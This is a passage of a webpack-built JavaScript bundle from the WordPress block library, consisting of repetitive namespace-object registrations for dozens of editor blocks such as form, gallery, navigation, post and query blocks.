1024var build_module_form_namespaceObject = {};
1025__webpack_require__.r(build_module_form_namespaceObject);
1026__webpack_require__.d(build_module_form_namespaceObject, {
1027 init: () => (form_init),
1028 metadata: () => (form_block_namespaceObject),
1029 name: () => (form_name),
1030 settings: () => (form_settings)
1031});
1032
1033// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/form-input/index.js
1034var form_input_namespaceObject = {};
1035__webpack_require__.r(form_input_namespaceObject);
1036__webpack_require__.d(form_input_namespaceObject, {
1037 init: () => (form_input_init),
1038 metadata: () => (form_input_block_namespaceObject),
1039 name: () => (form_input_name),
1040 settings: () => (form_input_settings)
1041});
1042
1043// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/form-submit-button/index.js
1044var form_submit_button_namespaceObject = {};
1045__webpack_require__.r(form_submit_button_namespaceObject);
1046__webpack_require__.d(form_submit_button_namespaceObject, {
1047 init: () => (form_submit_button_init),
1048 metadata: () => (form_submit_button_block_namespaceObject),
1049 name: () => (form_submit_button_name),
1050 settings: () => (form_submit_button_settings)
1051});
1052
1053// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/form-submission-notification/index.js
1054var form_submission_notification_namespaceObject = {};
1055__webpack_require__.r(form_submission_notification_namespaceObject);
1056__webpack_require__.d(form_submission_notification_namespaceObject, {
1057 init: () => (form_submission_notification_init),
1058 metadata: () => (form_submission_notification_block_namespaceObject),
1059 name: () => (form_submission_notification_name),
1060 settings: () => (form_submission_notification_settings)
1061});
1062
1063// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/gallery/index.js
1064var build_module_gallery_namespaceObject = {};
1065__webpack_require__.r(build_module_gallery_namespaceObject);
1066__webpack_require__.d(build_module_gallery_namespaceObject, {
1067 init: () => (gallery_init),
1068 metadata: () => (gallery_block_namespaceObject),
1069 name: () => (gallery_name),
1070 settings: () => (gallery_settings)
1071});
1072
1073// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/group/index.js
1074var build_module_group_namespaceObject = {};
1075__webpack_require__.r(build_module_group_namespaceObject);
1076__webpack_require__.d(build_module_group_namespaceObject, {
1077 init: () => (group_init),
1078 metadata: () => (group_block_namespaceObject),
1079 name: () => (group_name),
1080 settings: () => (group_settings)
1081});
1082
1083// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/heading/index.js
1084var build_module_heading_namespaceObject = {};
1085__webpack_require__.r(build_module_heading_namespaceObject);
1086__webpack_require__.d(build_module_heading_namespaceObject, {
1087 init: () => (heading_init),
1088 metadata: () => (heading_block_namespaceObject),
1089 name: () => (heading_name),
1090 settings: () => (heading_settings)
1091});
1092
1093// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/home-link/index.js
1094var home_link_namespaceObject = {};
1095__webpack_require__.r(home_link_namespaceObject);
1096__webpack_require__.d(home_link_namespaceObject, {
1097 init: () => (home_link_init),
1098 metadata: () => (home_link_block_namespaceObject),
1099 name: () => (home_link_name),
1100 settings: () => (home_link_settings)
1101});
1102
1103// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/html/index.js
1104var build_module_html_namespaceObject = {};
1105__webpack_require__.r(build_module_html_namespaceObject);
1106__webpack_require__.d(build_module_html_namespaceObject, {
1107 init: () => (html_init),
1108 metadata: () => (html_block_namespaceObject),
1109 name: () => (html_name),
1110 settings: () => (html_settings)
1111});
1112
1113// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/image/index.js
1114var build_module_image_namespaceObject = {};
1115__webpack_require__.r(build_module_image_namespaceObject);
1116__webpack_require__.d(build_module_image_namespaceObject, {
1117 init: () => (image_init),
1118 metadata: () => (image_block_namespaceObject),
1119 name: () => (image_name),
1120 settings: () => (image_settings)
1121});
1122
1123// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/latest-comments/index.js
1124var latest_comments_namespaceObject = {};
1125__webpack_require__.r(latest_comments_namespaceObject);
1126__webpack_require__.d(latest_comments_namespaceObject, {
1127 init: () => (latest_comments_init),
1128 metadata: () => (latest_comments_block_namespaceObject),
1129 name: () => (latest_comments_name),
1130 settings: () => (latest_comments_settings)
1131});
1132
1133// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/latest-posts/index.js
1134var latest_posts_namespaceObject = {};
1135__webpack_require__.r(latest_posts_namespaceObject);
1136__webpack_require__.d(latest_posts_namespaceObject, {
1137 init: () => (latest_posts_init),
1138 metadata: () => (latest_posts_block_namespaceObject),
1139 name: () => (latest_posts_name),
1140 settings: () => (latest_posts_settings)
1141});
1142
1143// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/list/index.js
1144var build_module_list_namespaceObject = {};
1145__webpack_require__.r(build_module_list_namespaceObject);
1146__webpack_require__.d(build_module_list_namespaceObject, {
1147 init: () => (list_init),
1148 metadata: () => (list_block_namespaceObject),
1149 name: () => (list_name),
1150 settings: () => (list_settings)
1151});
1152
1153// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/math/index.js
1154var build_module_math_namespaceObject = {};
1155__webpack_require__.r(build_module_math_namespaceObject);
1156__webpack_require__.d(build_module_math_namespaceObject, {
1157 init: () => (math_init),
1158 metadata: () => (math_block_namespaceObject),
1159 name: () => (math_name),
1160 settings: () => (math_settings)
1161});
1162
1163// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/list-item/index.js
1164var build_module_list_item_namespaceObject = {};
1165__webpack_require__.r(build_module_list_item_namespaceObject);
1166__webpack_require__.d(build_module_list_item_namespaceObject, {
1167 init: () => (list_item_init),
1168 metadata: () => (list_item_block_namespaceObject),
1169 name: () => (list_item_name),
1170 settings: () => (list_item_settings)
1171});
1172
1173// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/loginout/index.js
1174var loginout_namespaceObject = {};
1175__webpack_require__.r(loginout_namespaceObject);
1176__webpack_require__.d(loginout_namespaceObject, {
1177 init: () => (loginout_init),
1178 metadata: () => (loginout_block_namespaceObject),
1179 name: () => (loginout_name),
1180 settings: () => (loginout_settings)
1181});
1182
1183// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/media-text/index.js
1184var media_text_namespaceObject = {};
1185__webpack_require__.r(media_text_namespaceObject);
1186__webpack_require__.d(media_text_namespaceObject, {
1187 init: () => (media_text_init),
1188 metadata: () => (media_text_block_namespaceObject),
1189 name: () => (media_text_name),
1190 settings: () => (media_text_settings)
1191});
1192
1193// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/missing/index.js
1194var missing_namespaceObject = {};
1195__webpack_require__.r(missing_namespaceObject);
1196__webpack_require__.d(missing_namespaceObject, {
1197 init: () => (missing_init),
1198 metadata: () => (missing_block_namespaceObject),
1199 name: () => (missing_name),
1200 settings: () => (missing_settings)
1201});
1202
1203// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/more/index.js
1204var build_module_more_namespaceObject = {};
1205__webpack_require__.r(build_module_more_namespaceObject);
1206__webpack_require__.d(build_module_more_namespaceObject, {
1207 init: () => (more_init),
1208 metadata: () => (more_block_namespaceObject),
1209 name: () => (more_name),
1210 settings: () => (more_settings)
1211});
1212
1213// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/navigation/index.js
1214var build_module_navigation_namespaceObject = {};
1215__webpack_require__.r(build_module_navigation_namespaceObject);
1216__webpack_require__.d(build_module_navigation_namespaceObject, {
1217 init: () => (navigation_init),
1218 metadata: () => (navigation_block_namespaceObject),
1219 name: () => (navigation_name),
1220 settings: () => (navigation_settings)
1221});
1222
1223// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/navigation-link/index.js
1224var navigation_link_namespaceObject = {};
1225__webpack_require__.r(navigation_link_namespaceObject);
1226__webpack_require__.d(navigation_link_namespaceObject, {
1227 init: () => (navigation_link_init),
1228 metadata: () => (navigation_link_block_namespaceObject),
1229 name: () => (navigation_link_name),
1230 settings: () => (navigation_link_settings)
1231});
1232
1233// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/navigation-submenu/index.js
1234var navigation_submenu_namespaceObject = {};
1235__webpack_require__.r(navigation_submenu_namespaceObject);
1236__webpack_require__.d(navigation_submenu_namespaceObject, {
1237 init: () => (navigation_submenu_init),
1238 metadata: () => (navigation_submenu_block_namespaceObject),
1239 name: () => (navigation_submenu_name),
1240 settings: () => (navigation_submenu_settings)
1241});
1242
1243// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/nextpage/index.js
1244var nextpage_namespaceObject = {};
1245__webpack_require__.r(nextpage_namespaceObject);
1246__webpack_require__.d(nextpage_namespaceObject, {
1247 init: () => (nextpage_init),
1248 metadata: () => (nextpage_block_namespaceObject),
1249 name: () => (nextpage_name),
1250 settings: () => (nextpage_settings)
1251});
1252
1253// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/pattern/index.js
1254var pattern_namespaceObject = {};
1255__webpack_require__.r(pattern_namespaceObject);
1256__webpack_require__.d(pattern_namespaceObject, {
1257 init: () => (pattern_init),
1258 metadata: () => (pattern_block_namespaceObject),
1259 name: () => (pattern_name),
1260 settings: () => (pattern_settings)
1261});
1262
1263// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/page-list/index.js
1264var page_list_namespaceObject = {};
1265__webpack_require__.r(page_list_namespaceObject);
1266__webpack_require__.d(page_list_namespaceObject, {
1267 init: () => (page_list_init),
1268 metadata: () => (page_list_block_namespaceObject),
1269 name: () => (page_list_name),
1270 settings: () => (page_list_settings)
1271});
1272
1273// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/page-list-item/index.js
1274var page_list_item_namespaceObject = {};
1275__webpack_require__.r(page_list_item_namespaceObject);
1276__webpack_require__.d(page_list_item_namespaceObject, {
1277 init: () => (page_list_item_init),
1278 metadata: () => (page_list_item_block_namespaceObject),
1279 name: () => (page_list_item_name),
1280 settings: () => (page_list_item_settings)
1281});
1282
1283// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/paragraph/index.js
1284var build_module_paragraph_namespaceObject = {};
1285__webpack_require__.r(build_module_paragraph_namespaceObject);
1286__webpack_require__.d(build_module_paragraph_namespaceObject, {
1287 init: () => (paragraph_init),
1288 metadata: () => (paragraph_block_namespaceObject),
1289 name: () => (paragraph_name),
1290 settings: () => (paragraph_settings)
1291});
1292
1293// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-author/index.js
1294var build_module_post_author_namespaceObject = {};
1295__webpack_require__.r(build_module_post_author_namespaceObject);
1296__webpack_require__.d(build_module_post_author_namespaceObject, {
1297 init: () => (post_author_init),
1298 metadata: () => (post_author_block_namespaceObject),
1299 name: () => (post_author_name),
1300 settings: () => (post_author_settings)
1301});
1302
1303// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-author-name/index.js
1304var post_author_name_namespaceObject = {};
1305__webpack_require__.r(post_author_name_namespaceObject);
1306__webpack_require__.d(post_author_name_namespaceObject, {
1307 init: () => (post_author_name_init),
1308 metadata: () => (post_author_name_block_namespaceObject),
1309 name: () => (post_author_name_name),
1310 settings: () => (post_author_name_settings)
1311});
1312
1313// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-author-biography/index.js
1314var post_author_biography_namespaceObject = {};
1315__webpack_require__.r(post_author_biography_namespaceObject);
1316__webpack_require__.d(post_author_biography_namespaceObject, {
1317 init: () => (post_author_biography_init),
1318 metadata: () => (post_author_biography_block_namespaceObject),
1319 name: () => (post_author_biography_name),
1320 settings: () => (post_author_biography_settings)
1321});
1322
1323// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-comment/index.js
1324var post_comment_namespaceObject = {};
1325__webpack_require__.r(post_comment_namespaceObject);
1326__webpack_require__.d(post_comment_namespaceObject, {
1327 init: () => (post_comment_init),
1328 metadata: () => (post_comment_block_namespaceObject),
1329 name: () => (post_comment_name),
1330 settings: () => (post_comment_settings)
1331});
1332
1333// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-comments-count/index.js
1334var build_module_post_comments_count_namespaceObject = {};
1335__webpack_require__.r(build_module_post_comments_count_namespaceObject);
1336__webpack_require__.d(build_module_post_comments_count_namespaceObject, {
1337 init: () => (post_comments_count_init),
1338 metadata: () => (post_comments_count_block_namespaceObject),
1339 name: () => (post_comments_count_name),
1340 settings: () => (post_comments_count_settings)
1341});
1342
1343// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-comments-form/index.js
1344var build_module_post_comments_form_namespaceObject = {};
1345__webpack_require__.r(build_module_post_comments_form_namespaceObject);
1346__webpack_require__.d(build_module_post_comments_form_namespaceObject, {
1347 init: () => (post_comments_form_init),
1348 metadata: () => (post_comments_form_block_namespaceObject),
1349 name: () => (post_comments_form_name),
1350 settings: () => (post_comments_form_settings)
1351});
1352
1353// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-comments-link/index.js
1354var post_comments_link_namespaceObject = {};
1355__webpack_require__.r(post_comments_link_namespaceObject);
1356__webpack_require__.d(post_comments_link_namespaceObject, {
1357 init: () => (post_comments_link_init),
1358 metadata: () => (post_comments_link_block_namespaceObject),
1359 name: () => (post_comments_link_name),
1360 settings: () => (post_comments_link_settings)
1361});
1362
1363// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-content/index.js
1364var build_module_post_content_namespaceObject = {};
1365__webpack_require__.r(build_module_post_content_namespaceObject);
1366__webpack_require__.d(build_module_post_content_namespaceObject, {
1367 init: () => (post_content_init),
1368 metadata: () => (post_content_block_namespaceObject),
1369 name: () => (post_content_name),
1370 settings: () => (post_content_settings)
1371});
1372
1373// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-date/index.js
1374var build_module_post_date_namespaceObject = {};
1375__webpack_require__.r(build_module_post_date_namespaceObject);
1376__webpack_require__.d(build_module_post_date_namespaceObject, {
1377 init: () => (post_date_init),
1378 metadata: () => (post_date_block_namespaceObject),
1379 name: () => (post_date_name),
1380 settings: () => (post_date_settings)
1381});
1382
1383// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-excerpt/index.js
1384var build_module_post_excerpt_namespaceObject = {};
1385__webpack_require__.r(build_module_post_excerpt_namespaceObject);
1386__webpack_require__.d(build_module_post_excerpt_namespaceObject, {
1387 init: () => (post_excerpt_init),
1388 metadata: () => (post_excerpt_block_namespaceObject),
1389 name: () => (post_excerpt_name),
1390 settings: () => (post_excerpt_settings)
1391});
1392
1393// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-featured-image/index.js
1394var build_module_post_featured_image_namespaceObject = {};
1395__webpack_require__.r(build_module_post_featured_image_namespaceObject);
1396__webpack_require__.d(build_module_post_featured_image_namespaceObject, {
1397 init: () => (post_featured_image_init),
1398 metadata: () => (post_featured_image_block_namespaceObject),
1399 name: () => (post_featured_image_name),
1400 settings: () => (post_featured_image_settings)
1401});
1402
1403// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-navigation-link/index.js
1404var post_navigation_link_namespaceObject = {};
1405__webpack_require__.r(post_navigation_link_namespaceObject);
1406__webpack_require__.d(post_navigation_link_namespaceObject, {
1407 init: () => (post_navigation_link_init),
1408 metadata: () => (post_navigation_link_block_namespaceObject),
1409 name: () => (post_navigation_link_name),
1410 settings: () => (post_navigation_link_settings)
1411});
1412
1413// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-template/index.js
1414var post_template_namespaceObject = {};
1415__webpack_require__.r(post_template_namespaceObject);
1416__webpack_require__.d(post_template_namespaceObject, {
1417 init: () => (post_template_init),
1418 metadata: () => (post_template_block_namespaceObject),
1419 name: () => (post_template_name),
1420 settings: () => (post_template_settings)
1421});
1422
1423// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-terms/index.js
1424var build_module_post_terms_namespaceObject = {};
1425__webpack_require__.r(build_module_post_terms_namespaceObject);
1426__webpack_require__.d(build_module_post_terms_namespaceObject, {
1427 init: () => (post_terms_init),
1428 metadata: () => (post_terms_block_namespaceObject),
1429 name: () => (post_terms_name),
1430 settings: () => (post_terms_settings)
1431});
1432
1433// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-time-to-read/index.js
1434var post_time_to_read_namespaceObject = {};
1435__webpack_require__.r(post_time_to_read_namespaceObject);
1436__webpack_require__.d(post_time_to_read_namespaceObject, {
1437 init: () => (post_time_to_read_init),
1438 metadata: () => (post_time_to_read_block_namespaceObject),
1439 name: () => (post_time_to_read_name),
1440 settings: () => (post_time_to_read_settings)
1441});
1442
1443// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/post-title/index.js
1444var post_title_namespaceObject = {};
1445__webpack_require__.r(post_title_namespaceObject);
1446__webpack_require__.d(post_title_namespaceObject, {
1447 init: () => (post_title_init),
1448 metadata: () => (post_title_block_namespaceObject),
1449 name: () => (post_title_name),
1450 settings: () => (post_title_settings)
1451});
1452
1453// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/preformatted/index.js
1454var build_module_preformatted_namespaceObject = {};
1455__webpack_require__.r(build_module_preformatted_namespaceObject);
1456__webpack_require__.d(build_module_preformatted_namespaceObject, {
1457 init: () => (preformatted_init),
1458 metadata: () => (preformatted_block_namespaceObject),
1459 name: () => (preformatted_name),
1460 settings: () => (preformatted_settings)
1461});
1462
1463// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/pullquote/index.js
1464var build_module_pullquote_namespaceObject = {};
1465__webpack_require__.r(build_module_pullquote_namespaceObject);
1466__webpack_require__.d(build_module_pullquote_namespaceObject, {
1467 init: () => (pullquote_init),
1468 metadata: () => (pullquote_block_namespaceObject),
1469 name: () => (pullquote_name),
1470 settings: () => (pullquote_settings)
1471});
1472
1473// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query/index.js
1474var query_namespaceObject = {};
1475__webpack_require__.r(query_namespaceObject);
1476__webpack_require__.d(query_namespaceObject, {
1477 init: () => (query_init),
1478 metadata: () => (query_block_namespaceObject),
1479 name: () => (query_name),
1480 settings: () => (query_settings)
1481});
1482
1483// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-no-results/index.js
1484var query_no_results_namespaceObject = {};
1485__webpack_require__.r(query_no_results_namespaceObject);
1486__webpack_require__.d(query_no_results_namespaceObject, {
1487 init: () => (query_no_results_init),
1488 metadata: () => (query_no_results_block_namespaceObject),
1489 name: () => (query_no_results_name),
1490 settings: () => (query_no_results_settings)
1491});
1492
1493// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-pagination/index.js
1494var build_module_query_pagination_namespaceObject = {};
1495__webpack_require__.r(build_module_query_pagination_namespaceObject);
1496__webpack_require__.d(build_module_query_pagination_namespaceObject, {
1497 init: () => (query_pagination_init),
1498 metadata: () => (query_pagination_block_namespaceObject),
1499 name: () => (query_pagination_name),
1500 settings: () => (query_pagination_settings)
1501});
1502
1503// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-pagination-next/index.js
1504var build_module_query_pagination_next_namespaceObject = {};
1505__webpack_require__.r(build_module_query_pagination_next_namespaceObject);
1506__webpack_require__.d(build_module_query_pagination_next_namespaceObject, {
1507 init: () => (query_pagination_next_init),
1508 metadata: () => (query_pagination_next_block_namespaceObject),
1509 name: () => (query_pagination_next_name),
1510 settings: () => (query_pagination_next_settings)
1511});
1512
1513// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-pagination-numbers/index.js
1514var build_module_query_pagination_numbers_namespaceObject = {};
1515__webpack_require__.r(build_module_query_pagination_numbers_namespaceObject);
1516__webpack_require__.d(build_module_query_pagination_numbers_namespaceObject, {
1517 init: () => (query_pagination_numbers_init),
1518 metadata: () => (query_pagination_numbers_block_namespaceObject),
1519 name: () => (query_pagination_numbers_name),
1520 settings: () => (query_pagination_numbers_settings)
1521});
1522
1523// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-pagination-previous/index.js
1524var build_module_query_pagination_previous_namespaceObject = {};
1525__webpack_require__.r(build_module_query_pagination_previous_namespaceObject);
1526__webpack_require__.d(build_module_query_pagination_previous_namespaceObject, {
1527 init: () => (query_pagination_previous_init),
1528 metadata: () => (query_pagination_previous_block_namespaceObject),
1529 name: () => (query_pagination_previous_name),
1530 settings: () => (query_pagination_previous_settings)
1531});
1532
1533// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-title/index.js
1534var query_title_namespaceObject = {};
1535__webpack_require__.r(query_title_namespaceObject);
1536__webpack_require__.d(query_title_namespaceObject, {
1537 init: () => (query_title_init),
1538 metadata: () => (query_title_block_namespaceObject),
1539 name: () => (query_title_name),
1540 settings: () => (query_title_settings)
1541});
1542
1543// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/query-total/index.js
1544var query_total_namespaceObject = {};
1545__webpack_require__.r(query_total_namespaceObject);
1546__webpack_require__.d(query_total_namespaceObject, {
1547 init: () => (query_total_init),
1548 metadata: () => (query_total_block_namespaceObject),
1549 name: () => (query_total_name),
1550 settings: () => (query_total_settings)
1551});
1552
1553// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/quote/index.js
1554var build_module_quote_namespaceObject = {};
1555__webpack_require__.r(build_module_quote_namespaceObject);
1556__webpack_require__.d(build_module_quote_namespaceObject, {
1557 init: () => (quote_init),
1558 metadata: () => (quote_block_namespaceObject),
1559 name: () => (quote_name),
1560 settings: () => (quote_settings)
1561});
1562
1563// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/block/index.js
1564var build_module_block_namespaceObject = {};
1565__webpack_require__.r(build_module_block_namespaceObject);
1566__webpack_require__.d(build_module_block_namespaceObject, {
1567 init: () => (block_init),
1568 metadata: () => (block_block_namespaceObject),
1569 name: () => (block_name),
1570 settings: () => (block_settings)
1571});
1572
1573// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/read-more/index.js
1574var read_more_namespaceObject = {};
1575__webpack_require__.r(read_more_namespaceObject);
1576__webpack_require__.d(read_more_namespaceObject, {
1577 init: () => (read_more_init),
1578 metadata: () => (read_more_block_namespaceObject),
1579 name: () => (read_more_name),
1580 settings: () => (read_more_settings)
1581});
1582
1583// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/rss/index.js
1584var build_module_rss_namespaceObject = {};
1585__webpack_require__.r(build_module_rss_namespaceObject);
1586__webpack_require__.d(build_module_rss_namespaceObject, {
1587 init: () => (rss_init),
1588 metadata: () => (rss_block_namespaceObject),
1589 name: () => (rss_name),
1590 settings: () => (rss_settings)
1591});
1592
1593// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/search/index.js
1594var build_module_search_namespaceObject = {};
1595__webpack_require__.r(build_module_search_namespaceObject);
1596__webpack_require__.d(build_module_search_namespaceObject, {
1597 init: () => (search_init),
1598 metadata: () => (search_block_namespaceObject),
1599 name: () => (search_name),
1600 settings: () => (search_settings)
1601});
1602
1603// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/separator/index.js
1604var build_module_separator_namespaceObject = {};
1605__webpack_require__.r(build_module_separator_namespaceObject);
1606__webpack_require__.d(build_module_separator_namespaceObject, {
1607 init: () => (separator_init),
1608 metadata: () => (separator_block_namespaceObject),
1609 name: () => (separator_name),
1610 settings: () => (separator_settings)
1611});
1612
1613// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/shortcode/index.js
1614var build_module_shortcode_namespaceObject = {};
1615__webpack_require__.r(build_module_shortcode_namespaceObject);
1616__webpack_require__.d(build_module_shortcode_namespaceObject, {
1617 init: () => (shortcode_init),
1618 metadata: () => (shortcode_block_namespaceObject),
1619 name: () => (shortcode_name),
1620 settings: () => (shortcode_settings)
1621});
1622
1623// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/site-logo/index.js
1624var build_module_site_logo_namespaceObject = {};
1625__webpack_require__.r(build_module_site_logo_namespaceObject);
1626__webpack_require__.d(build_module_site_logo_namespaceObject, {
1627 init: () => (site_logo_init),
1628 metadata: () => (site_logo_block_namespaceObject),
1629 name: () => (site_logo_name),
1630 settings: () => (site_logo_settings)
1631});
1632
1633// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/site-tagline/index.js
1634var site_tagline_namespaceObject = {};
1635__webpack_require__.r(site_tagline_namespaceObject);
1636__webpack_require__.d(site_tagline_namespaceObject, {
1637 init: () => (site_tagline_init),
1638 metadata: () => (site_tagline_block_namespaceObject),
1639 name: () => (site_tagline_name),
1640 settings: () => (site_tagline_settings)
1641});
1642
1643// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/site-title/index.js
1644var site_title_namespaceObject = {};
1645__webpack_require__.r(site_title_namespaceObject);
1646__webpack_require__.d(site_title_namespaceObject, {
1647 init: () => (site_title_init),
1648 metadata: () => (site_title_block_namespaceObject),
1649 name: () => (site_title_name),
1650 settings: () => (site_title_settings)
1651});
1652
1653// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/social-link/index.js
1654var social_link_namespaceObject = {};
1655__webpack_require__.r(social_link_namespaceObject);
1656__webpack_require__.d(social_link_namespaceObject, {
1657 init: () => (social_link_init),
1658 metadata: () => (social_link_block_namespaceObject),
1659 name: () => (social_link_name),
1660 settings: () => (social_link_settings)
1661});
1662
1663// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/social-links/index.js
1664var social_links_namespaceObject = {};
1665__webpack_require__.r(social_links_namespaceObject);
1666__webpack_require__.d(social_links_namespaceObject, {
1667 init: () => (social_links_init),
1668 metadata: () => (social_links_block_namespaceObject),
1669 name: () => (social_links_name),
1670 settings: () => (social_links_settings)
1671});
1672
1673// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/spacer/index.js
1674var spacer_namespaceObject = {};
1675__webpack_require__.r(spacer_namespaceObject);
1676__webpack_require__.d(spacer_namespaceObject, {
1677 init: () => (spacer_init),
1678 metadata: () => (spacer_block_namespaceObject),
1679 name: () => (spacer_name),
1680 settings: () => (spacer_settings)
1681});
1682
1683// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/table/index.js
1684var build_module_table_namespaceObject = {};
1685__webpack_require__.r(build_module_table_namespaceObject);
1686__webpack_require__.d(build_module_table_namespaceObject, {
1687 init: () => (table_init),
1688 metadata: () => (table_block_namespaceObject),
1689 name: () => (table_name),
1690 settings: () => (table_settings)
1691});
1692
1693// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/table-of-contents/index.js
1694var build_module_table_of_contents_namespaceObject = {};
1695__webpack_require__.r(build_module_table_of_contents_namespaceObject);
1696__webpack_require__.d(build_module_table_of_contents_namespaceObject, {
1697 init: () => (table_of_contents_init),
1698 metadata: () => (table_of_contents_block_namespaceObject),
1699 name: () => (table_of_contents_name),
1700 settings: () => (table_of_contents_settings)
1701});
1702
1703// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/tag-cloud/index.js
1704var tag_cloud_namespaceObject = {};
1705__webpack_require__.r(tag_cloud_namespaceObject);
1706__webpack_require__.d(tag_cloud_namespaceObject, {
1707 init: () => (tag_cloud_init),
1708 metadata: () => (tag_cloud_block_namespaceObject),
1709 name: () => (tag_cloud_name),
1710 settings: () => (tag_cloud_settings)
1711});
1712
1713// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/template-part/index.js
1714var template_part_namespaceObject = {};
1715__webpack_require__.r(template_part_namespaceObject);
1716__webpack_require__.d(template_part_namespaceObject, {
1717 init: () => (template_part_init),
1718 metadata: () => (template_part_block_namespaceObject),
1719 name: () => (template_part_name),
1720 settings: () => (template_part_settings)
1721});
1722
1723// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/term-count/index.js
1724var build_module_term_count_namespaceObject = {};
1725__webpack_require__.r(build_module_term_count_namespaceObject);
1726__webpack_require__.d(build_module_term_count_namespaceObject, {
1727 init: () => (term_count_init),
1728 metadata: () => (term_count_block_namespaceObject),
1729 name: () => (term_count_name),
1730 settings: () => (term_count_settings)
1731});
1732
1733// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/term-description/index.js
1734var build_module_term_description_namespaceObject = {};
1735__webpack_require__.r(build_module_term_description_namespaceObject);
1736__webpack_require__.d(build_module_term_description_namespaceObject, {
1737 init: () => (term_description_init),
1738 metadata: () => (term_description_block_namespaceObject),
1739 name: () => (term_description_name),
1740 settings: () => (term_description_settings)
1741});
1742
1743// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/term-name/index.js
1744var build_module_term_name_namespaceObject = {};
1745__webpack_require__.r(build_module_term_name_namespaceObject);
1746__webpack_require__.d(build_module_term_name_namespaceObject, {
1747 init: () => (term_name_init),
1748 metadata: () => (term_name_block_namespaceObject),
1749 name: () => (term_name_name),
1750 settings: () => (term_name_settings)
1751});
1752
1753// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/terms-query/index.js
1754var terms_query_namespaceObject = {};
1755__webpack_require__.r(terms_query_namespaceObject);
1756__webpack_require__.d(terms_query_namespaceObject, {
1757 init: () => (terms_query_init),
1758 metadata: () => (terms_query_block_namespaceObject),
1759 name: () => (terms_query_name),
1760 settings: () => (terms_query_settings)
1761});
1762
1763// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/term-template/index.js
1764var term_template_namespaceObject = {};
1765__webpack_require__.r(term_template_namespaceObject);
1766__webpack_require__.d(term_template_namespaceObject, {
1767 init: () => (term_template_init),
1768 metadata: () => (term_template_block_namespaceObject),
